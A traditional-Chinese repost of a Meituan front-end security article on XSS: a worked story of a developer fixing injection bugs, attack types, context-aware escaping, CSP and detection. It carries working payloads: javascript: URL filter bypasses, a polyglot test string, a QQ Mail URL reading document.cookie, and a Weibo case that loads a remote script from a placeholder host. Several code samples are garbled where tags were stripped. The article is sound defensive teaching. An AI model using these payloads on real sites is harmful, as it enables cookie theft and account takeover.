來自:美團技術團隊(微訊號:meituantech)
作者:李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面效能最佳化相關工作。
連結:https://tech.meituan.com/fe_security.html
背景
隨著網際網路的高速發展,資訊保安問題已經成為企業最為關註的焦點之一,而前端又是引發企業安全問題的高危據點。在移動網際網路時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網路劫持、非法呼叫 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。
前端安全
近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端同學在日常開發中不斷預防和修複安全漏洞。本文是該系列的第一篇。
今天我們講解一下 XSS ,主要包括:
-
XSS 攻擊的介紹
-
XSS 攻擊的分類
-
XSS 攻擊的預防和檢測
-
XSS 攻擊的總結
-
XSS 攻擊案例
XSS攻擊的介紹
在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:
-
XSS 防範是後端 RD (研發人員)的責任,後端 RD 應該在所有使用者提交資料的介面,對敏感字元進行轉義,才能進行下一步操作。
-
所有要插入到頁面上的資料,都要透過一個敏感字元過濾函式的轉義,過濾掉通用的敏感字元後,就可以插入到頁面中。
如果你還不能確定答案,那麼可以帶著這些問題向下看,我們將逐步拆解問題。
XSS 漏洞的發生和修複
XSS 攻擊是頁面被註入了惡意的程式碼,為了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。
一個案例
某天,公司需要一個搜尋頁面,根據 URL 引數決定關鍵詞的內容。小明很快把頁面寫好並且上線。程式碼如下:
<input type="text" value="keyword") %>">
<button>搜尋button>
<div>
您搜尋的關鍵詞是:<%= getParameter("keyword") %>
div>
然而,在上線後不久,小明就接到了安全組發來的一個神秘連結:
http://xxx/search?keyword=">
小明帶著一種不祥的預感點開了這個連結[請勿模仿,確認安全的連結才能點開]。果然,頁面中彈出了寫著”XSS”的對話方塊。
可惡,中招了!小明眉頭一皺,發現了其中的奧秘:
當瀏覽器請求 http://xxx/search?keyword=">
時,服務端會解析出請求引數 keyword
,得到 ">
,拼接到 HTML 中傳回給瀏覽器。形成瞭如下的 HTML:
<input type="text" value=""><script>alert('XSS');script>">
<button>搜尋button>
<div>
您搜尋的關鍵詞是:”><script>alert(‘XSS’);script>
div>
瀏覽器無法分辨出 是惡意程式碼,因而將其執行。
這裡不僅僅 div 的內容被註入了,而且 input 的 value 屬性也被註入, alert 會彈出兩次。
面對這種情況,我們應該如何進行防範呢?
其實,這隻是瀏覽器把使用者的輸入當成了指令碼進行了執行。那麼只要告訴瀏覽器這段內容是文字就可以了。
聰明的小明很快找到解決方法,把這個漏洞修複:
<input type="text" value="keyword")) %>">
<button>搜尋button>
<div>
您搜尋的關鍵詞是:<%= escapeHTML(getParameter("keyword")) %>
div>
escapeHTML()
按照如下規則進行轉義:
經過了轉義函式的處理後,最終瀏覽器接收到的響應為:
<input type="text" value="">">
<button>搜尋button>
<div>
您搜尋的關鍵詞是:">
div>
惡意程式碼都被轉義,不再被瀏覽器執行,而且搜尋詞能夠完美的在頁面顯示出來。
透過這個事件,小明學習到瞭如下知識:
-
通常頁面中包含的使用者輸入內容都在固定的容器或者屬性內,以文字的形式展示。
-
攻擊者利用這些頁面的使用者輸入片段,拼接特殊格式的字串,突破原有位置的限制,形成了程式碼片段。
-
攻擊者透過在標的網站上註入指令碼,使之在使用者的瀏覽器上執行,從而引發潛在風險。
-
透過 HTML 轉義,可以防止 XSS 攻擊。[事情當然沒有這麼簡單啦!請繼續往下看]。
註意特殊的 HTML 屬性、JavaScript API
自從上次事件之後,小明會小心的把插入到頁面中的資料進行轉義。而且他還發現了大部分模板都帶有的轉義配置,讓所有插入到頁面中的資料都預設進行轉義。這樣就不怕不小心漏掉未轉義的變數啦,於是小明的工作又漸漸變得輕鬆起來。
但是,作為導演的我,不可能讓小明這麼簡單、開心地改 Bug 。
不久,小明又收到安全組的神秘連結:http://xxx/?redirect_to=javascript:alert('XSS')
。小明不敢大意,趕忙點開頁面。然而,頁面並沒有自動彈出萬惡的“XSS”。
小明開啟對應頁面的原始碼,發現有以下內容:
<a href="redirect_to")) %>">跳轉...a>
這段程式碼,當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS')
,服務端響應就成了:
<a href="javascript:alert('XSS')">跳轉...a>
雖然程式碼不會立即執行,但一旦使用者點選 a
標簽時,瀏覽器會就會彈出alert(‘xss’)。
可惡,又失策了…
在這裡,使用者的資料並沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內容並不是我們所預期的型別。
原來不僅僅是特殊字元,連 javascript:
這樣的字串如果出現在特定的位置也會引發 XSS 攻擊。
小明眉頭一皺,想到瞭解決辦法:
// 禁止 URL 以 "javascript:" 開頭
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
"redirect_to"))%>">
跳轉...
} else {
“/404″>
跳轉…
}
只要 URL 的開頭不是 javascript:
,就安全了吧?
安全組隨手又扔了一個連線:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執行?…..好吧,瀏覽器就是這麼強大。
小明欲哭無淚,在判斷 URL 開頭是否為 javascript:
時,先把使用者輸入轉成了小寫,然後再進行比對。
不過,所謂“道高一尺,魔高一丈”。面對小明的防護策略,安全組就構造了這樣一個連線:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS')
經過 URL 解析後變成 javascript:alert('XSS')
,這個字串以空格開頭。這樣攻擊者可以繞過後端的關鍵詞規則,又成功的完成了註入。
最終,小明選擇了白名單的方法,徹底解決了這個漏洞:
// 根據專案情況進行過濾,禁止掉 "javascript:" 連結、非法 scheme 等
allowSchemes = ["http", "https"];
valid = isValid(getParameter("redirect_to"), allowSchemes);
if (valid) {
"redirect_to"))%>">
跳轉...
} else {
“/404″>
跳轉…
}
透過這個事件,小明學習到瞭如下知識:
根據背景關係採用不同的轉義規則
某天,小明為了加快網頁的載入速度,把一個資料透過 JSON 的方式行內到 HTML 中:
<script>
var initData = <%= data.toJSON() %>
script>
插入 JSON 的地方不能使用 escapeHTML()
,因為轉義 "
後,JSON 格式會被破壞。
但安全組又發現有漏洞,原來這樣行內 JSON 也是不安全的:
-
當 JSON 中包含
U+2028
或U+2029
這兩個字元時,不能作為 JavaScript 的字面量使用,否則會丟擲語法錯誤。 -
當 JSON 中包含字串時,當前的 script 標簽將會被閉合,後面的字串內容瀏覽器會按照 HTML 進行解析;透過增加下一個
標簽等方法就可以完成註入。
於是我們又要實現一個 escapeEmbedJSON()
函式,對行內 JSON 進行轉義。轉義規則如下:
修複後的程式碼如下:
<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>
透過這個事件,小明學習到瞭如下知識:
-
HTML 轉義是非常複雜的,在不同的情況下要採用不同的轉義規則。如果採用了錯誤的轉義規則,很有可能會埋下 XSS 隱患。
-
應當儘量避免自己寫轉義庫,而應當採用成熟的、業界通用的轉義庫。
漏洞總結
小明的例子講完了,下麵我們來系統的看下 XSS 有哪些註入的方法:
-
在 HTML 中內嵌的文字中,惡意內容以 script 標簽形成註入。
-
在行內的 JavaScript 中,拼接的資料突破了原本的限制(字串,變數,方法名等)。
-
在標簽屬性中,惡意內容包含引號,從而突破屬性值的限制,註入其他屬性或者標簽。
-
在標簽的 href、src 等屬性中,包含 javascript: 等可執行程式碼。
-
在 onload、onerror、onclick 等事件中,註入不受控制程式碼。
-
在 style 屬性和標簽中,包含類似 background-image:url(“javascript:…”); 的程式碼(新版本瀏覽器已經可以防範)。
-
在 style 屬性和標簽中,包含類似 expression(…) 的 CSS 運算式程式碼(新版本瀏覽器已經可以防範)。
總之,如果開發者沒有將使用者輸入的文字進行合適的過濾,就貿然插入到 HTML 中,這很容易造成註入漏洞。攻擊者可以利用漏洞,構造出惡意的程式碼指令,進而利用惡意程式碼危害資料安全。
XSS攻擊的分類
透過上述幾個例子,我們已經對 XSS 有了一些認識。
什麼是 XSS
Cross-Site Scripting(跨站指令碼攻擊)簡稱 XSS,是一種程式碼註入攻擊。攻擊者透過在標的網站上註入惡意指令碼,使之在使用者的瀏覽器上執行。利用這些惡意指令碼,攻擊者可獲取使用者的敏感資訊如 Cookie、SessionID 等,進而危害資料安全。
為了和 CSS 區分,這裡把攻擊的第一個字母改成了 X,於是叫做 XSS。
XSS 的本質是:惡意程式碼未經過濾,與網站正常的程式碼混在一起;瀏覽器無法分辨哪些指令碼是可信的,導致惡意指令碼被執行。
而由於直接在使用者的終端執行,惡意程式碼能夠直接獲取使用者的資訊,或者利用這些資訊冒充使用者向網站發起攻擊者定義的請求。
在部分情況下,由於輸入的限制,註入的惡意指令碼比較短。但可以透過引入外部的指令碼,並由瀏覽器執行,來完成比較複雜的攻擊策略。
這裡有一個問題:使用者是透過哪種方法“註入”惡意指令碼的呢?
不僅僅是業務上的“使用者的 UGC 內容”可以進行註入,包括 URL 上的引數等都可以是攻擊的來源。在處理輸入時,以下內容都不可信:
-
來自使用者的 UGC 資訊
-
來自第三方的連結
-
URL 引數
-
POST 引數
-
Referer (可能來自不可信的來源)
-
Cookie (可能來自其他子域註入)
XSS 分類
根據攻擊的來源,XSS 攻擊可分為儲存型、反射型和 DOM 型三種。
-
儲存區:惡意程式碼存放的位置。
-
插入點:由誰取得惡意程式碼,並插入到網頁上。
儲存型 XSS
儲存型 XSS 的攻擊步驟:
-
攻擊者將惡意程式碼提交到標的網站的資料庫中。
-
使用者開啟標的網站時,網站服務端將惡意程式碼從資料庫取出,拼接在 HTML 中傳回給瀏覽器。
-
使用者瀏覽器接收到響應後解析執行,混在其中的惡意程式碼也被執行。
-
在部分情況下,惡意程式碼載入外部的程式碼,用於執行更複雜的邏輯。
-
惡意程式碼竊取使用者資料併傳送到攻擊者的網站,或者冒充使用者的行為,呼叫標的網站介面執行攻擊者指定的操作。
這種攻擊常見於帶有使用者儲存資料的網站功能,如論壇發帖、商品評論、使用者私信等。
反射型 XSS
反射型 XSS 的攻擊步驟:
-
攻擊者構造出特殊的 URL,其中包含惡意程式碼。
-
使用者開啟帶有惡意程式碼的 URL 時,網站服務端將惡意程式碼從 URL 中取出,拼接在 HTML 中傳回給瀏覽器。
-
使用者瀏覽器接收到響應後解析執行,混在其中的惡意程式碼也被執行。
-
在部分情況下,惡意程式碼載入外部的程式碼,用於執行更複雜的邏輯
-
惡意程式碼竊取使用者資料併傳送到攻擊者的網站,或者冒充使用者的行為,呼叫標的網站介面執行攻擊者指定的操作。
反射型 XSS 跟儲存型 XSS 的區別是:儲存型 XSS 的惡意程式碼存在資料庫裡,反射型 XSS 的惡意程式碼存在 URL 裡。
反射型 XSS 漏洞常見於透過 URL 傳遞引數的功能,如網站搜尋、跳轉等。
由於需要使用者主動開啟惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導使用者點選。
POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,並引導使用者點選),所以非常少見。
DOM 型 XSS
DOM 型 XSS 的攻擊步驟:
-
攻擊者構造出特殊的 URL,其中包含惡意程式碼。
-
使用者開啟帶有惡意程式碼的 URL。
-
使用者瀏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意程式碼並執行。
-
在部分情況下,惡意程式碼載入外部的程式碼,用於執行更複雜的邏輯。
-
惡意程式碼竊取使用者資料併傳送到攻擊者的網站,或者冒充使用者的行為,呼叫標的網站介面執行攻擊者指定的操作。
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意程式碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬於服務端的安全漏洞。
XSS攻擊的預防
透過前面的介紹可以得知,XSS 攻擊有兩大要素:
-
攻擊者提交惡意程式碼。
-
瀏覽器執行惡意程式碼。
針對第一個要素:我們是否能夠在使用者輸入的過程,過濾掉使用者輸入的惡意程式碼呢?
輸入過濾
在使用者提交時,由前端過濾輸入,然後提交到後端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意程式碼了。
那麼,換一個過濾時機:後端在寫入資料庫前,對輸入進行過濾,然後把“安全的”內容,傳回給前端。這樣是否可行呢?
我們舉一個例子,一個正常的使用者輸入了 5 < 7
這個內容,在寫入資料庫前,被轉義,變成了 5 < 7
。
問題是:在提交階段,我們並不確定內容要輸出到哪裡。
這裡的“並不確定內容要輸出到哪裡”有兩層含義:
-
使用者的輸入內容可能同時提供給前端和客戶端,而一旦經過了 escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 < 7 )。
-
在前端中,不同的位置所需的編碼也不同。
-
當 5 < 7 作為 HTML 拼接頁面時,可以正常顯示:
5 < 7
-
當 5 < 7 透過 Ajax 傳回,然後賦值給 JavaScript 的變數時,前端得到的字串就是轉義後的字元。這個內容不能直接用於 Vue 等模板的展示,也不能直接用於內容長度計算。不能用於標題、alert 等。
所以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防範 XSS 攻擊時應避免此類方法。
當然,對於明確的輸入型別,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。
既然輸入過濾並非完全可靠,我們就要透過“防止瀏覽器執行惡意程式碼”來防範 XSS。這部分分為兩類:
-
防止 HTML 中出現註入。
-
防止 JavaScript 執行時,執行惡意程式碼。
預防儲存型和反射型 XSS 攻擊
儲存型和反射型 XSS 都是在服務端取出惡意程式碼後,插入到響應 HTML 裡的,攻擊者刻意編寫的“資料”被內嵌到“程式碼”中,被瀏覽器所執行。
預防這兩種漏洞,有兩種常見做法:
-
改成純前端渲染,把程式碼和資料分隔開。
-
對 HTML 做充分轉義。
純前端渲染
純前端渲染的過程:
-
瀏覽器先載入一個靜態 HTML,此 HTML 中不包含任何跟業務相關的資料。
-
然後瀏覽器執行 HTML 中的 JavaScript。
-
JavaScript 透過 Ajax 載入業務資料,呼叫 DOM API 更新到頁面上。
在純前端渲染中,我們會明確的告訴瀏覽器:下麵要設定的內容是文字(.innerText
),還是屬性(.setAttribute
),還是樣式(.style
)等等。瀏覽器不會被輕易的被欺騙,執行預期外的程式碼了。
但純前端渲染還需註意避免 DOM 型 XSS 漏洞(例如 onload
事件和 href
中的 javascript:xxx
等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。
在很多內部、管理系統中,採用純前端渲染是非常合適的。但對於效能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。
轉義 HTML
如果拼接 HTML 是必要的,就需要採用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對於 HTML 轉義通常只有一個規則,就是把 & < > " ' /
這幾個字元轉義掉,確實能起到一定的 XSS 防護作用,但並不完善:
所以要完善 XSS 防護措施,我們要使用更完善更細緻的轉義策略。
例如 Java 工程裡,常用的轉義庫為 org.owasp.encoder
。以下程式碼取用自 org.owasp.encoder 的官方說明。
<div><%= Encode.forHtml(UNTRUSTED) %>div>
<input value="" />
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
<script>
var msg = "";
alert(msg);
script>
<script>
var __INITIAL_STATE__ = JSON.parse('');
script>
<button
onclick="alert('');">
click me
button>
<a href="/search?value=&order=1#top">
<a href="/page/">
<a href=' urlValidator.isValid(UNTRUSTED) ?
Encode.forHtml(UNTRUSTED) :
"/404"
%>'>
link
a>
可見,HTML 的編碼是十分複雜的,在不同的背景關係裡要使用相應的轉義規則。
預防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 程式碼本身不夠嚴謹,把不可信的資料當作程式碼執行了。
在使用 .innerHTML
、.outerHTML
、document.write()
時要特別小心,不要把不可信的資料作為 HTML 插到頁面上,而應儘量使用 .textContent
、.setAttribute()
等。
如果用 Vue/React 技術棧,並且不使用 v-html
/dangerouslySetInnerHTML
功能,就在前端 render 階段避免 innerHTML
、outerHTML
的 XSS 隱患。
DOM 中的行內事件監聽器,如 location
、onclick
、onerror
、onload
、onmouseover
等, 標簽的
href
屬性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字串作為程式碼執行。如果不可信的資料拼接到字串中傳遞給這些 API,很容易產生安全隱患,請務必避免。
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
<a href="UNTRUSTED">1a>
<script>
// setTimeout()/setInterval() 中呼叫惡意程式碼
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 呼叫惡意程式碼
location.href = 'UNTRUSTED'
// eval() 中呼叫惡意程式碼
eval("UNTRUSTED")
script>
如果專案中有用到這些的話,一定要避免在字串中拼接不可信資料。
其他XSS防範措施
雖然在渲染頁面和執行 JavaScript 時,透過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和後果。
Content Security Policy
嚴格的 CSP 在 XSS 的防範中可以起到以下的作用:
-
禁止載入外域程式碼,防止複雜的攻擊邏輯。
-
禁止外域提交,網站被攻擊後,使用者的資料不會洩露到外域。
-
禁止行內指令碼執行(規則較嚴格,目前發現 github 使用)。
-
禁止未授權的指令碼執行(新特性,Google Map 移動版在使用)。
-
合理使用上報可以及時發現 XSS,利於儘快修複問題。
關於 CSP 的詳情,請關註前端安全系列後續的文章。
輸入內容長度控制
對於不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。
其他安全措施
-
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 註入後也無法竊取此 Cookie。
-
驗證碼:防止指令碼冒充使用者提交危險操作。
XSS的檢測
上述經歷讓小明收穫頗豐,他也學會瞭如何去預防和修複 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對於已經上線的程式碼,如何去檢測其中有沒有 XSS 漏洞呢?
經過一番搜尋,小明找到了兩個方法:
-
使用通用 XSS 攻擊字串手動檢測 XSS 漏洞。
-
使用掃描工具自動檢測 XSS 漏洞。
在Unleashing an Ultimate XSS Polyglot一文中,小明發現了這麼一個字串:
jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//
它能夠檢測到存在於 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連結、行內 JavaScript 字串、行內 CSS 樣式表等多種背景關係中的 XSS 漏洞,也能檢測 eval()
、setTimeout()
、setInterval()
、Function()
、innerHTML
、document.write()
等 DOM 型 XSS 漏洞,並且能繞過一些 XSS 過濾器。
小明只要在網站的各輸入框中提交這個字串,或者把它拼接到 URL 引數上,就可以進行檢測了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
XSS攻擊的總結
我們回到最開始提出的問題,相信同學們已經有了答案:
1. XSS 防範是後端 RD 的責任,後端 RD 應該在所有使用者提交資料的介面,對敏感字元進行轉義,才能進行下一步操作。
不正確。因為:
防範儲存型和反射型 XSS 是後端 RD 的責任。而 DOM 型 XSS 攻擊不發生在後端,是前端 RD 的責任。防範 XSS 是需要後端 RD 和前端 RD 共同參與的系統工程。
轉義應該在輸出 HTML 時進行,而不是在提交使用者輸入時。
2. 所有要插入到頁面上的資料,都要透過一個敏感字元過濾函式的轉義,過濾掉通用的敏感字元後,就可以插入到頁面了。
不正確。
不同的背景關係,如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連結、行內 JavaScript 字串、行內 CSS 樣式表等,所需要的轉義規則不一致。
業務 RD 需要選取合適的轉義庫,並針對不同的背景關係呼叫不同的轉義規則。
整體的 XSS 防範是非常複雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對資料進行對應的轉義。而且要防止多餘和錯誤的轉義,避免正常的使用者輸入出現亂碼。
雖然很難透過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:
-
利用模板引擎
開啟模板引擎自帶的 HTML 轉義功能。例如:
在 ejs 中,儘量使用 而不是 ;
在 doT.js 中,儘量使用 {{! data } 而不是 {{= data };
在 FreeMarker 中,確保引擎版本高於 2.3.24,並且選擇正確的 freemarker.core.OutputFormat。 -
避免行內事件
儘量不要使用 onLoad=”onload(‘{{data}}’)”、onClick=”go(‘{{action}}’)” 這種拼接行內事件的寫法。在 JavaScript 中透過 .addEventlistener() 事件系結會更安全。 -
避免拼接 HTML
前端採用拼接 HTML 的方法比較危險,如果框架允許,使用 createElement、setAttribute 之類的方法實現。或者採用比較成熟的渲染框架,如 Vue/React 等。 -
時刻保持警惕
在插入位置為 DOM 屬性、連結等位置時,要打起精神,嚴加防範。 -
增加攻擊難度,降低攻擊後果
透過 CSP、輸入長度配置、介面安全措施等方法,增加攻擊的難度,降低攻擊的後果。 -
主動檢測和發現
可使用 XSS 攻擊字串和自動掃描工具尋找潛在的 XSS 漏洞。
XSS攻擊案例
QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb
這個 URL 的引數 uin
、domain
未經轉義直接輸出到 HTML 中。
於是攻擊者構建出一個 URL,並引導使用者去點選:http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
使用者點選這個 URL 時,服務端取出 URL 引數,拼接到 HTML 響應中:
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;script><script>alert(document.cookie)script>"+"...
瀏覽器接收到響應後就會執行 alert(document.cookie)
,攻擊者透過 JavaScript 即可竊取當前使用者在 QQ 郵箱域名下的 Cookie ,進而危害資料安全。
新浪微博名人堂反射型 XSS 漏洞
攻擊者發現 http://weibo.com/pub/star/g/xyyyd
這個 URL 的內容未經過濾直接輸出到 HTML 中。
於是攻擊者構建出一個 URL,然後誘導使用者去點選:
http://weibo.com/pub/star/g/xyyyd">
使用者點選這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js>script>">按分類檢索a>li
>
瀏覽器接收到響應後就會載入執行惡意指令碼 //xxxx.cn/image/t.js
,在惡意指令碼中利用使用者的登入狀態進行關註、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點選,不斷放大攻擊範圍。這種竊用受害者身份釋出惡意內容,層層放大攻擊範圍的方式,被稱為“XSS 蠕蟲”。
XSS攻擊擴充套件閱讀:Automatic Context-Aware Escaping
上文我們說到:
-
合適的 HTML 轉義可以有效避免 XSS 漏洞。
-
完善的轉義庫需要針對背景關係制定多種規則,例如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連結、行內 JavaScript 字串、行內 CSS 樣式表等等。
-
業務 RD 需要根據每個插入點所處的背景關係,選取不同的轉義規則。
通常,轉義庫是不能判斷插入點背景關係的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分理解 XSS 的各種情況,並且需要保證每一個插入點使用了正確的轉義規則。
這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隱患。
2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。
所謂 Context-Aware,就是說模板引擎在解析模板字串的時候,就解析模板語法,分析出每個插入點所處的背景關係,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人為帶來的疏漏。
在一個支援 Automatic Context-Aware Escaping 的模板引擎裡,業務 RD 可以這樣定義模板,而無需手動實施轉義規則:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title}}title>
head>
<body>
<a href="{{.url}}">{{.content}}a>
body>
html>
模板引擎經過解析後,得知三個插入點所處的背景關係,自動選用相應的轉義規則:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title | htmlescaper}}title>
head>
<body>
<a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}a>
body>
html>
目前已經支援 Automatic Context-Aware Escaping 的模板引擎有:
-
go html/template
-
Google Closure Templates
課後作業:XSS攻擊小遊戲
以下是幾個 XSS 攻擊小遊戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊即可通關。
在玩遊戲的過程中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。
alert(1) to win
prompt(1) to win
XSS game
參考文獻
-
Wikipedia. Cross-site scripting, Wikipedia.
-
OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet_Prevention_Cheat_Sheet), OWASP.
-
OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
-
Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
-
Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
-
Vue.js. v-html - Vue API docs, Vue.js.
-
React. dangerouslySetInnerHTML - DOM Elements, React.
●編號730,輸入編號直達本文
●輸入m獲取文章目錄
Web開發
更多推薦《18個技術類微信公眾號》
涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。